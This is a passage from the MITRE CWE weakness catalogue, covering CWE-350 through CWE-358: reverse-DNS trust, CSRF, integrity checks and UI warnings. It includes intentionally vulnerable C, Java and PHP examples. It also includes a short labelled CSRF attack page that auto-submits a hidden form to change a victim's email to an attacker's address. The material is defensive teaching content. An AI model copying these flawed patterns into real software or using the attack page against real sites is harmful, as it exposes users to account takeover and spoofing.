```

If an attacker can poison the DNS cache, they can gain trusted status.

Example 2:

In these examples, a connection is established if a request is made by a trusted host.

Example Language: C *(bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
    if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Example Language: Java *(bad)*

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    if ((rp.getHostName()==...) & (in==...)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
        outSock.send(sp);
    }
}
```

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

Observed Examples

Reference	Description
CVE-2001-1488	Does not do double-reverse lookup to prevent DNS spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1488*
CVE-2001-1500	Does not verify reverse-resolved hostnames in DNS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1500*
CVE-2000-1221	Authentication bypass using spoofed reverse-resolved DNS hostnames. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1221*
CVE-2002-0804	Authentication bypass using spoofed reverse-resolved DNS hostnames. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0804*
CVE-2001-1155	Filter does not properly check the result of a reverse DNS lookup, which could allow remote attackers to bypass intended access restrictions via DNS spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155*
CVE-2004-0892	Reverse DNS lookup used to spoof trusted content in intermediary. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0892*
CVE-2003-0981	Product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0981*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935

Notes

Maintenance

CWE-350, CWE-247, and CWE-292 were merged into CWE-350 in CWE 2.5. CWE-247 was originally derived from Seven Pernicious Kingdoms, CWE-350 from PLOVER, and CWE-292 from CLASP. All taxonomies focused closely on the use of reverse DNS for authentication of incoming requests.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improperly Trusted Reverse DNS
CLASP			Trusting self-reported DNS name
Software Fault Patterns	SFP29		Faulty endpoint authentication

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
73	User-Controlled Filename
89	Pharming
142	DNS Cache Poisoning
275	DNS Rebinding

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-351: Insufficient Type Distinction

Weakness ID : 351 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly distinguish between different types of elements in a way that leads to insecure behavior.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758
PeerOf	C	436	Interpretation Conflict	944
PeerOf	B	434	Unrestricted Upload of File with Dangerous Type	935

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Observed Examples

Reference	Description
CVE-2005-2260	Browser user interface does not distinguish between user-initiated and synthetic events. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2260*
CVE-2005-2801	Product does not compare all required data in two separate elements, causing it to think they are the same, leading to loss of ACLs. Similar to Same Name error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Notes

Relationship

Overlaps others, e.g. Multiple Interpretation Errors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Type Distinction

CWE-352: Cross-Site Request Forgery (CSRF)

Weakness ID : 352 **Status:** Stable
Structure : Composite
Abstraction : Compound

Description

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Composite Components

Nature	Type	ID	Name	Page
Requires	B	346	Origin Validation Error	760
Requires	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	950
Requires	C	642	External Control of Critical State Data	1257
Requires	B	613	Insufficient Session Expiration	1219

Extended Description

When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758
PeerOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152
CanFollow	V	1275	Sensitive Cookie with Improper SameSite Attribute	1821

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Alternate Terms

Session Riding :

Cross Site Reference Forgery :

XSRF :

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Integrity	Bypass Protection Mechanism	
Availability	Read Application Data	
Non-Repudiation	Modify Application Data	
Access Control	DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention. Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Effectiveness = Limited

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = SOAR Partial

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]

Phase: Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Phase: Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Phase: Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]

Phase: Architecture and Design

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

Demonstrative Examples

Example 1:

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

Example Language: HTML *(bad)*

```
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>
```

profile.php contains the following code.

Example Language: PHP *(bad)*

```
// initiate the session in order to validate sessions
session_start();
//if the session is registered to a valid user then allow update
if (! session_is_registered("username")) {
    echo "invalid session detected!";
    // Redirect user to login page
    [...]
    exit;
}
// The user session is valid, so process the request
// and update the information
update_profile();
function update_profile {
    // read in the data from $POST and send an update
    // to the database
    SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
    [...]
    echo "Your profile has been successfully updated.";
}
```

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

Example Language: HTML *(attack)*

```
<SCRIPT>
function SendAttack () {
```

```
    form.email = "attacker@example.com";
    // send to profile.php
    form.submit();
}
</SCRIPT>
<BODY onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>
```

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

Observed Examples

Reference	Description
CVE-2004-1703	Add user accounts via a URL in an img tag *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1703*
CVE-2004-1995	Add user accounts via a URL in an img tag *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1995*
CVE-2004-1967	Arbitrary code execution by specifying the code in a crafted img tag or URL *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1967*
CVE-2004-1842	Gain administrative privileges via a URL in an img tag *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1842*
CVE-2005-1947	Delete a victim's information via a URL or an img tag *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1947*
CVE-2005-2059	Change another user's settings via a URL or an img tag *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2059*
CVE-2005-1674	Perform actions as administrator via a URL or an img tag *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1674*
CVE-2009-3520	modify password for the administrator *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3520*
CVE-2009-3022	CMS allows modification of configuration via CSRF attack against the administrator *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3022*
CVE-2009-3759	web interface allows password changes or stopping a virtual machine via CSRF *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3759*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2021
MemberOf	C	716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)	629	1872
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1892

Nature	Type	ID	Name	V	Page
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	1894
MemberOf	C	814	OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)	809	1898
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	1911
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	936	OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)	928	1932
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

Theoretical

The CSRF topology is multi-channel: Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel. Intermediary (as user) to server (as victim). The activation point is an internal channel.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-Site Request Forgery (CSRF)
OWASP Top Ten 2007	A5	Exact	Cross Site Request Forgery (CSRF)
WASC	9		Cross-site Request Forgery

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
62	Cross Site Request Forgery
111	JSON Hijacking (aka JavaScript Hijacking)
462	Cross-Domain Search Timing
467	Cross Site Identification

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-329]Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. < http://marc.info/?l=bugtraq&m=99263135911884&w=2 >.

[REF-330]OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". < http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet >.

[REF-331]Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008 October 8. < http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445 >.

[REF-332]Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". < http://www.cgisecurity.com/articles/csrf-faq.shtml >.

[REF-333]"Cross-site request forgery". 2008 December 2. Wikipedia. < http://en.wikipedia.org/wiki/Cross-site_request_forgery >.

[REF-334]Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". 2010 March 3. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery >.

[REF-335]Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008 October 4. < http://www.codinghorror.com/blog/2008/10/preventing-csrf-and-xsrf-attacks.html >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

[REF-956]Wikipedia. "Samy (computer worm)". < https://en.wikipedia.org/wiki/Samy_(computer_worm) >.2018-01-16.

CWE-353: Missing Support for Integrity Check

Weakness ID : 353 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.

Extended Description

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758
PeerOf	B	354	Improper Validation of Integrity Check Value	782
PeerOf	B	354	Improper Validation of Integrity Check Value	782

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Other *Data that is parsed and used may be corrupted.*	
Non-Repudiation Other	Hide Activities Other *Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.*	

Potential Mitigations

Phase: Architecture and Design

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

Phase: Implementation

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

Demonstrative Examples

Example 1:

In this example, a request packet is received, and privileged information is sent to the requester:

Example Language: Java *(bad)*

```
while(true) {
    DatagramPacket rp = new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress, port);
    outSock.send(sp);
}
```

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	1938

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to add integrity check value

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
39	Manipulating Opaque Client-based Data Tokens
74	Manipulating User State
75	Manipulating Writeable Configuration Files
389	Content Spoofing Via Application API Manipulation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-354: Improper Validation of Integrity Check Value

Weakness ID : 354 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

Extended Description

Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	754	Improper Check for Unusual or Exceptional Conditions	1381
ChildOf	C	345	Insufficient Verification of Data Authenticity	758
PeerOf	B	353	Missing Support for Integrity Check	780
PeerOf	B	353	Missing Support for Integrity Check	780

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Modify Application Data Other *Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.*	
Integrity Other	Other *Data that is parsed and used may be corrupted.*	
Non-Repudiation Other	Hide Activities Other *Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.*	

Potential Mitigations

Phase: Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Example Language: Java *(bad)*

```
while(true) {
    DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
    socket.send(sendPacket);
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to check integrity check value

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
75	Manipulating Writeable Configuration Files
145	Checksum Spoofing
463	Padding Oracle Crypto Attack

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-356: Product UI does not Warn User of Unsafe Actions

Weakness ID : 356 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

Extended Description

Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	221	Information Loss or Omission	511

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	

Observed Examples

Reference	Description
CVE-1999-1055	Product does not warn user when document contains certain dangerous functions or macros. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1055*
CVE-1999-0794	Product does not warn user when document contains certain dangerous functions or macros. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0794*
CVE-2000-0277	Product does not warn user when document contains certain dangerous functions or macros. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0277*
CVE-2000-0517	Product does not warn user about a certificate if it has already been accepted for a different site. Possibly resultant. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0517*
CVE-2005-0602	File extractor does not warn user it setuid/setgid files could be extracted. Overlaps privileges/permissions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0602*
CVE-2000-0342	E-mail client allows bypass of warning for dangerous attachments via a Windows .LNK file that refers to the attachment. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0342*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	996	SFP Secondary Cluster: Security	888	1958

Notes

Relationship

Often resultant, e.g. in unhandled error conditions.

Relationship

Can overlap privilege errors, conceptually at least.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Product UI does not warn user of unsafe actions

CWE-357: Insufficient UI Warning of Dangerous Operations

Weakness ID : 357 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ParentOf	B	450	Multiple Interpretations of UI Input	961

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	355	User Interface Security Issues	1860

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	

Observed Examples

Reference	Description
CVE-2007-1099	User not sufficiently warned if host key mismatch occurs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1099*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	996	SFP Secondary Cluster: Security	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient UI warning of dangerous operations

CWE-358: Improperly Implemented Security Check for Standard

Weakness ID : 358 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ChildOf	C	573	Improper Following of Specification by Caller	1153
PeerOf	B	325	Missing Required Cryptographic Step	717
CanAlsoBe	B	290	Authentication Bypass by Spoofing	640
CanAlsoBe	C	345	Insufficient Verification of Data Authenticity	758

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

